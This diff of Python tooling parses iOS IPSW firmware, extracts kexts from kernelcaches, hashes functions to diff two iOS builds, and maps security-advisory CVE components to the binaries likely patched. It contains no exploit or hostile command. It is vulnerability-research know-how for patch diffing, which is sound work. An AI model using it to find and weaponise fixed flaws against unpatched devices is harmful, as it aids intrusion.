if v >= off: struct.pack_into("<I", blob, o + f, v - off)
|
||||
elif cmd == 0xb: # LC_DYSYMTAB
|
||||
for f in (32, 40, 48, 56, 64, 72):
|
||||
v = struct.unpack_from("<I", blob, o + f)[0]
|
||||
if v >= off: struct.pack_into("<I", blob, o + f, v - off)
|
||||
elif cmd in (0x22, 0x80000022): # LC_DYLD_INFO / _ONLY
|
||||
for f in (8, 16, 24, 32, 40):
|
||||
v = struct.unpack_from("<I", blob, o + f)[0]
|
||||
if v >= off: struct.pack_into("<I", blob, o + f, v - off)
|
||||
elif cmd in (0x26, 0x1d, 0x80000033, 0x80000034): # FUNCTION_STARTS, CODE_SIG, EXPORTS_TRIE, CHAINED_FIXUPS
|
||||
v = struct.unpack_from("<I", blob, o + 8)[0]
|
||||
if v >= off: struct.pack_into("<I", blob, o + 8, v - off)
|
||||
o += cmdsize
|
||||
|
||||
with open(out, "wb") as f:
|
||||
f.write(blob)
|
||||
return len(blob)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
kernel, entries, bid, out = sys.argv[1:5]
|
||||
data = open(kernel, "rb").read()
|
||||
table = {n: o for n, o, v in json.load(open(entries))}
|
||||
n = extract(data, table[bid], out)
|
||||
print("wrote", out, n, "bytes")
|
||||
@@ -0,0 +1,245 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Minimal IPSW / IM4P / Mach-O toolkit for the 27.0.1 vs 27.2 kernel diff.
|
||||
|
||||
No external ipsw binary is available on this host, so this implements the pieces
|
||||
needed for the kernelcache comparison:
|
||||
|
||||
* IM4P container parse + LZFSE payload decode
|
||||
* embedded Mach-O (kext) scan inside a prelinked kernelcache
|
||||
* UUID / segment / function-start extraction
|
||||
* function-level hashing and a two-build diff
|
||||
|
||||
Only reads files; nothing here writes to a device.
|
||||
"""
|
||||
import hashlib
|
||||
import os
|
||||
import struct
|
||||
import sys
|
||||
import zipfile
|
||||
|
||||
try:
|
||||
import lzfse
|
||||
except ImportError:
|
||||
lzfse = None
|
||||
|
||||
|
||||
# ── IM4P ────────────────────────────────────────────────────────────────────
|
||||
def im4p_payload(data: bytes) -> bytes:
|
||||
if data[:4] != b"IM4P":
|
||||
return data
|
||||
# magic(4) type(4) header_len(4 BE) header payload
|
||||
hlen = struct.unpack(">I", data[8:12])[0]
|
||||
return data[12 + hlen:]
|
||||
|
||||
|
||||
def decompress(payload: bytes) -> bytes:
|
||||
# LZFSE streams start with bvx2 / bvx- / bvx$
|
||||
for magic in (b"bvx2", b"bvx-", b"bvx$"):
|
||||
i = payload.find(magic)
|
||||
if i >= 0:
|
||||
if lzfse is None:
|
||||
raise RuntimeError("lzfse module missing")
|
||||
return lzfse.decompress(payload[i:])
|
||||
if payload[:2] == b"\x1f\x8b":
|
||||
import gzip
|
||||
return gzip.decompress(payload)
|
||||
return payload
|
||||
|
||||
|
||||
def read_kernelcache(ipsw_path: str, member: str) -> bytes:
|
||||
with zipfile.ZipFile(ipsw_path) as z:
|
||||
raw = z.read(member)
|
||||
return decompress(im4p_payload(raw))
|
||||
|
||||
|
||||
# ── Mach-O ──────────────────────────────────────────────────────────────────
|
||||
MH_MAGIC_64 = 0xFEEDFACF
|
||||
LC_SEGMENT_64 = 0x19
|
||||
LC_SYMTAB = 0x2
|
||||
LC_UUID = 0x1B
|
||||
LC_FUNCTION_STARTS = 0x26
|
||||
LC_UNIXTHREAD = 0x5
|
||||
|
||||
CPU_NAMES = {0x0100000C: "arm64", 0x0100000C | 0x02000000: "arm64e"}
|
||||
|
||||
|
||||
class MachO:
|
||||
def __init__(self, data: bytes, off: int = 0):
|
||||
self.data = data
|
||||
self.off = off
|
||||
magic, cputype, cpusub, filetype, ncmds, sizeofcmds, flags, _ = struct.unpack_from(
|
||||
"<IiiIIIII", data, off)
|
||||
if magic != MH_MAGIC_64:
|
||||
raise ValueError("not a 64-bit Mach-O")
|
||||
self.magic = magic
|
||||
self.cputype = cputype
|
||||
self.cpusub = cpusub
|
||||
self.filetype = filetype
|
||||
self.ncmds = ncmds
|
||||
self.sizeofcmds = sizeofcmds
|
||||
self.flags = flags
|
||||
self.segments = []
|
||||
self.uuid = None
|
||||
self.function_starts = None
|
||||
self.symtab = None
|
||||
self._parse_commands()
|
||||
|
||||
def _parse_commands(self):
|
||||
o = self.off + 32
|
||||
for _ in range(self.ncmds):
|
||||
cmd, cmdsize = struct.unpack_from("<II", self.data, o)
|
||||
if cmdsize < 8:
|
||||
break
|
||||
if cmd == LC_SEGMENT_64:
|
||||
name = self.data[o + 8:o + 24].split(b"\0")[0].decode("ascii", "replace")
|
||||
vmaddr, vmsize, fileoff, filesize = struct.unpack_from("<QQQQ", self.data, o + 24)
|
||||
maxprot, initprot, nsects, flags = struct.unpack_from("<IIII", self.data, o + 56)
|
||||
seg = {
|
||||
"name": name, "vmaddr": vmaddr, "vmsize": vmsize,
|
||||
"fileoff": fileoff, "filesize": filesize,
|
||||
"maxprot": maxprot, "initprot": initprot, "nsects": nsects,
|
||||
"sections": [],
|
||||
}
|
||||
so = o + 72
|
||||
for _s in range(nsects):
|
||||
sect = self.data[so:so + 16].split(b"\0")[0].decode("ascii", "replace")
|
||||
segn = self.data[so + 16:so + 32].split(b"\0")[0].decode("ascii", "replace")
|
||||
addr, size, offset = struct.unpack_from("<QQI", self.data, so + 32)
|
||||
seg["sections"].append({"seg": segn, "sect": sect, "addr": addr,
|
||||
"size": size, "offset": offset})
|
||||
so += 80
|
||||
self.segments.append(seg)
|
||||
elif cmd == LC_UUID:
|
||||
self.uuid = self.data[o + 8:o + 24].hex()
|
||||
elif cmd == LC_FUNCTION_STARTS:
|
||||
dataoff, datasize = struct.unpack_from("<II", self.data, o + 8)
|
||||
self.function_starts = (dataoff, datasize)
|
||||
elif cmd == LC_SYMTAB:
|
||||
symoff, nsyms, stroff, strsize = struct.unpack_from("<IIII", self.data, o + 8)
|
||||
self.symtab = (symoff, nsyms, stroff, strsize)
|
||||
o += cmdsize
|
||||
|
||||
def text_segment(self):
|
||||
for s in self.segments:
|
||||
if s["name"] == "__TEXT_EXEC":
|
||||
return s
|
||||
for s in self.segments:
|
||||
if s["name"] == "__TEXT":
|
||||
return s
|
||||
return None
|
||||
|
||||
def function_offsets(self):
|
||||
"""Absolute file offsets of function starts, decoded from LC_FUNCTION_STARTS."""
|
||||
if not self.function_starts:
|
||||
return []
|
||||
dataoff, datasize = self.function_starts
|
||||
base = self.off + dataoff
|
||||
end = base + datasize
|
||||
text = self.text_segment()
|
||||
if text is None:
|
||||
return []
|
||||
# LC_FUNCTION_STARTS dataoff is relative to the Mach-O header (linkedit).
|
||||
addr = text["vmaddr"]
|
||||
out = []
|
||||
p = base
|
||||
while p < end and self.data[p] != 0:
|
||||
delta = 0
|
||||
shift = 0
|
||||
while True:
|
||||
b = self.data[p]
|
||||
p += 1
|
||||
delta |= (b & 0x7F) << shift
|
||||
shift += 7
|
||||
if not (b & 0x80):
|
||||
break
|
||||
addr += delta
|
||||
out.append(addr)
|
||||
return out
|
||||
|
||||
def _file_base(self, s):
|
||||
# In a MH_FILESET, segment fileoffs are absolute in the container; in a
|
||||
# standalone Mach-O they are relative to the header (which sits at self.off).
|
||||
return s["fileoff"] if s["fileoff"] >= self.off else self.off + s["fileoff"]
|
||||
|
||||
def vm_to_file(self, addr, seg=None):
|
||||
for s in self.segments:
|
||||
if s["vmaddr"] <= addr < s["vmaddr"] + s["vmsize"]:
|
||||
return self._file_base(s) + (addr - s["vmaddr"])
|
||||
return None
|
||||
|
||||
def cstring_bytes(self):
|
||||
out = bytearray()
|
||||
for seg in self.segments:
|
||||
for sec in seg.get("sections", []):
|
||||
if sec["sect"] in ("__cstring", "__oslogstring"):
|
||||
base = sec["offset"] if sec["offset"] >= self.off else self.off + sec["offset"]
|
||||
out += self.data[base: base + sec["size"]]
|
||||
out += b"\0"
|
||||
return bytes(out)
|
||||
|
||||
def text_bytes(self):
|
||||
t = self.text_segment()
|
||||
if not t:
|
||||
return b""
|
||||
base = self._file_base(t)
|
||||
return self.data[base: base + t["filesize"]]
|
||||
|
||||
|
||||
def scan_machos(data: bytes, limit=20000):
|
||||
"""Scan a prelinked kernelcache for embedded Mach-O headers (page aligned)."""
|
||||
out = []
|
||||
off = 0
|
||||
n = len(data)
|
||||
while off + 32 <= n and len(out) < limit:
|
||||
if data[off:off + 4] == b"\xcf\xfa\xed\xfe":
|
||||
try:
|
||||
m = MachO(data, off)
|
||||
out.append(m)
|
||||
except Exception:
|
||||
pass
|
||||
off += 0x1000 # kexts are page aligned
|
||||
return out
|
||||
|
||||
|
||||
def macho_summary(m: MachO) -> dict:
|
||||
text = m.text_bytes()
|
||||
return {
|
||||
"off": m.off,
|
||||
"cpu": CPU_NAMES.get(m.cputype, hex(m.cputype)),
|
||||
"sub": m.cpusub,
|
||||
"filetype": m.filetype,
|
||||
"uuid": m.uuid,
|
||||
"text_size": len(text),
|
||||
"text_sha256": hashlib.sha256(text).hexdigest()[:16],
|
||||
"segments": [(s["name"], s["vmsize"]) for s in m.segments if s["name"].startswith("__")],
|
||||
"nfuncs": len(m.function_offsets()) if m.function_starts else 0,
|
||||
}
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
cmd = sys.argv[1] if len(sys.argv) > 1 else ""
|
||||
if cmd == "list":
|
||||
with zipfile.ZipFile(sys.argv[2]) as z:
|
||||
for i in z.infolist():
|
||||
if any(k in i.filename for k in ("kernelcache", "dyld_shared_cache", "BuildManifest")):
|
||||
print(i.filename, i.file_size)
|
||||
elif cmd == "kernel":
|
||||
data = read_kernelcache(sys.argv[2], sys.argv[3])
|
||||
print("kernelcache bytes", len(data), "sha256", hashlib.sha256(data).hexdigest()[:16])
|
||||
ms = scan_machos(data)
|
||||
print("embedded Mach-Os:", len(ms))
|
||||
for m in ms[:10]:
|
||||
print(macho_summary(m))
|
||||
else:
|
||||
print("usage: ipswlib.py list <ipsw> | kernel <ipsw> <member>")
|
||||
|
||||
|
||||
def dump_macho(m: MachO, path: str) -> int:
|
||||
"""Write the Mach-O image (header through the last segment's file extent)."""
|
||||
end = 32 + m.sizeofcmds
|
||||
for s in m.segments:
|
||||
end = max(end, s["fileoff"] + s["filesize"])
|
||||
blob = m.data[m.off:m.off + end]
|
||||
with open(path, "wb") as f:
|
||||
f.write(blob)
|
||||
return len(blob)
|
||||
@@ -0,0 +1,99 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Map the iOS 27.2 advisory entries to binary candidates and emit a report skeleton.
|
||||
|
||||
Usage: python3 map_advisory.py <advisory.json> <out.md>
|
||||
The mapping is a heuristic name table; it is refined later by the actual kext and
|
||||
dylib inventory extracted from the IPSWs.
|
||||
"""
|
||||
import json
|
||||
import sys
|
||||
|
||||
# component -> (kind, candidate binary / kext)
|
||||
MAP = {
|
||||
"Kernel": ("kernel", "kernelcache core (pmap/ipc/vm/bsd)"),
|
||||
"AVEVideoEncoder": ("kernel+user", "com.apple.driver.AppleAVE2 / VideoToolbox AVE plugin"),
|
||||
"Apple Neural Engine": ("kernel+user", "AppleH16ANEInterface / AppleNeuralEngine.framework"),
|
||||
"IOKit": ("kernel+user", "IOKit.framework / IOKit kexts"),
|
||||
"IOHIDFamily": ("kernel", "com.apple.iokit.IOHIDFamily"),
|
||||
"IOStorageFamily": ("kernel", "com.apple.iokit.IOStorageFamily"),
|
||||
"IOMobileFrameBuffer": ("kernel", "com.apple.driver.IOMobileFrameBuffer"),
|
||||
"IOSurface": ("kernel+user", "IOSurface.framework / IOSurface kext"),
|
||||
"HFS": ("kernel", "com.apple.filesystems.hfs.kext"),
|
||||
"Compression": ("user", "libcompression.dylib"),
|
||||
"CoreMedia": ("user", "CoreMedia.framework / mediaplaybackd"),
|
||||
"CoreGraphics": ("user", "CoreGraphics.framework"),
|
||||
"CoreText": ("user", "CoreText.framework"),
|
||||
"CoreAudio": ("user", "CoreAudio.framework / AudioToolbox"),
|
||||
"Audio": ("user", "AudioToolbox / AudioCodecs"),
|
||||
"ImageIO": ("user", "ImageIO.framework"),
|
||||
"FontParser": ("user", "FontParser.framework"),
|
||||
"libarchive": ("user", "libarchive.2.dylib"),
|
||||
"LinkPresentation": ("user", "LinkPresentation.framework"),
|
||||
"WebKit": ("user", "JavaScriptCore / WebKit / WebCore"),
|
||||
"WebKit Canvas": ("user", "WebCore (canvas)"),
|
||||
"WebKit JavaScript Bindings": ("user", "JavaScriptCore bindings"),
|
||||
"WebKit Process Model": ("user", "WebKit process model"),
|
||||
"WebRTC": ("user", "WebRTC.framework"),
|
||||
"Security": ("user", "Security.framework"),
|
||||
"Wi-Fi": ("user+kernel", "WiFi frameworks / IO80211 kext"),
|
||||
"USB": ("kernel", "USB kexts"),
|
||||
"Power Management": ("kernel", "com.apple.driver.AppleARMPlatform / PM kexts"),
|
||||
"Bluetooth": ("user+kernel", "Bluetooth.framework / IOBluetooth kexts"),
|
||||
"mDNSResponder": ("user", "mDNSResponder"),
|
||||
"Thread": ("user", "ThreadNetwork.framework"),
|
||||
"MobileGestalt": ("user", "MobileGestalt"),
|
||||
"SpringBoard": ("user", "SpringBoard"),
|
||||
"Messages": ("user", "Messages / IMSharedUtilities"),
|
||||
"Mail": ("user", "Mail"),
|
||||
"Maps": ("user", "Maps"),
|
||||
"Photos Storage": ("user", "Photos"),
|
||||
"Spotlight": ("user", "Spotlight"),
|
||||
"Siri": ("user", "Siri"),
|
||||
"Shortcuts": ("user", "Shortcuts"),
|
||||
"HomeKit": ("user", "HomeKit"),
|
||||
"CloudKit": ("user", "CloudKit"),
|
||||
"Contacts": ("user", "Contacts"),
|
||||
"Calendar": ("user", "CalendarFoundation"),
|
||||
"App Store": ("user", "AppStore"),
|
||||
"App Intents": ("user", "AppIntents"),
|
||||
"Apple Intelligence": ("user", "AppleIntelligence"),
|
||||
"AccessorySetupKit": ("user", "AccessorySetupKit"),
|
||||
"Accounts": ("user", "Accounts"),
|
||||
"FileProvider": ("user", "FileProvider"),
|
||||
"Files": ("user", "Files"),
|
||||
"Heimdal": ("user", "Heimdal (Kerberos)"),
|
||||
"MediaAnalysis": ("user", "MediaAnalysis"),
|
||||
"MediaRemote": ("user", "MediaRemote"),
|
||||
"Quick Look": ("user", "QuickLook"),
|
||||
"RealityKit": ("user", "RealityKit"),
|
||||
"ReplayKit": ("user", "ReplayKit"),
|
||||
"Safety Check": ("user", "SafetyCheck"),
|
||||
"SceneKit": ("user", "SceneKit"),
|
||||
"Screen Time": ("user", "ScreenTime"),
|
||||
"SwiftUI": ("user", "SwiftUI"),
|
||||
"System Preferences": ("user", "SystemPreferences"),
|
||||
"TextKit": ("user", "TextKit"),
|
||||
"Accelerate Framework": ("user", "Accelerate"),
|
||||
"ColorSync": ("user", "ColorSync"),
|
||||
}
|
||||
|
||||
|
||||
def main():
|
||||
rows = json.load(open(sys.argv[1]))
|
||||
out = sys.argv[2]
|
||||
lines = ["# iOS 27.2 advisory — component → binary map", ""]
|
||||
lines.append(f"Entries: {len(rows)} Components: {len(set(r['component'] for r in rows))}")
|
||||
lines.append("")
|
||||
lines.append("| CVE | Component | Impact | Binary candidate |")
|
||||
lines.append("|---|---|---|---|")
|
||||
for r in sorted(rows, key=lambda x: (x["component"], x["cve"])):
|
||||
kind, cand = MAP.get(r["component"], ("unknown", "?"))
|
||||
lines.append(f"| {r['cve']} | {r['component']} | {r['impact'][:70]} | {cand} |")
|
||||
open(out, "w").write("\n".join(lines) + "\n")
|
||||
print("wrote", out, len(rows), "entries")
|
||||
missing = sorted(set(r["component"] for r in rows) - set(MAP))
|
||||
print("unmapped components:", missing)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,95 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Remote ZIP reader over HTTP Range, so the kernelcache can be inspected before the
|
||||
full IPSW finishes downloading.
|
||||
|
||||
Usage:
|
||||
python3 remote_ipsw.py list <url>
|
||||
python3 remote_ipsw.py extract <url> <member-substring> <out>
|
||||
"""
|
||||
import io
|
||||
import sys
|
||||
import urllib.request
|
||||
import zipfile
|
||||
|
||||
|
||||
class HTTPRangeFile(io.RawIOBase):
|
||||
def __init__(self, url, block=4 << 20):
|
||||
self.url = url
|
||||
self.pos = 0
|
||||
self.block = block
|
||||
self.cache = {}
|
||||
req = urllib.request.Request(url, method="HEAD")
|
||||
with urllib.request.urlopen(req) as r:
|
||||
self.size = int(r.headers["Content-Length"])
|
||||
self.ranges = r.headers.get("Accept-Ranges", "").lower() == "bytes"
|
||||
|
||||
def seekable(self): return True
|
||||
def readable(self): return True
|
||||
def tell(self): return self.pos
|
||||
|
||||
def seek(self, off, whence=0):
|
||||
if whence == 0: self.pos = off
|
||||
elif whence == 1: self.pos += off
|
||||
else: self.pos = self.size + off
|
||||
return self.pos
|
||||
|
||||
def _fetch(self, start, end):
|
||||
key = (start // self.block) * self.block
|
||||
if key in self.cache:
|
||||
return self.cache[key]
|
||||
stop = min(self.size - 1, key + self.block - 1)
|
||||
req = urllib.request.Request(self.url, headers={"Range": f"bytes={key}-{stop}"})
|
||||
with urllib.request.urlopen(req) as r:
|
||||
data = r.read()
|
||||
self.cache[key] = data
|
||||
if len(self.cache) > 8:
|
||||
self.cache.pop(next(iter(self.cache)))
|
||||
return data
|
||||
|
||||
def read(self, n=-1):
|
||||
if n is None or n < 0:
|
||||
n = self.size - self.pos
|
||||
if n == 0 or self.pos >= self.size:
|
||||
return b""
|
||||
out = bytearray()
|
||||
while n > 0 and self.pos < self.size:
|
||||
block = self._fetch(self.pos, self.pos)
|
||||
base = (self.pos // self.block) * self.block
|
||||
off = self.pos - base
|
||||
take = min(n, len(block) - off)
|
||||
if take <= 0:
|
||||
break
|
||||
out += block[off:off + take]
|
||||
self.pos += take
|
||||
n -= take
|
||||
return bytes(out)
|
||||
|
||||
|
||||
def main():
|
||||
cmd, url = sys.argv[1], sys.argv[2]
|
||||
f = HTTPRangeFile(url)
|
||||
print("size", f.size, "range", f.ranges)
|
||||
z = zipfile.ZipFile(f)
|
||||
if cmd == "list":
|
||||
for i in z.infolist():
|
||||
if any(k in i.filename for k in ("kernelcache", "dyld_shared_cache", "BuildManifest")):
|
||||
print(i.filename, i.file_size, i.compress_type)
|
||||
elif cmd == "extract":
|
||||
pat, out = sys.argv[3], sys.argv[4]
|
||||
names = [i.filename for i in z.infolist() if pat in i.filename and not i.is_dir()]
|
||||
print("matches:", names[:10], "count", len(names))
|
||||
if not names:
|
||||
return
|
||||
name = names[0]
|
||||
with z.open(name) as src, open(out, "wb") as dst:
|
||||
while True:
|
||||
chunk = src.read(8 << 20)
|
||||
if not chunk: break
|
||||
dst.write(chunk)
|
||||
print("wrote", out)
|
||||
else:
|
||||
print("usage: list|extract")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in new issue
Block a user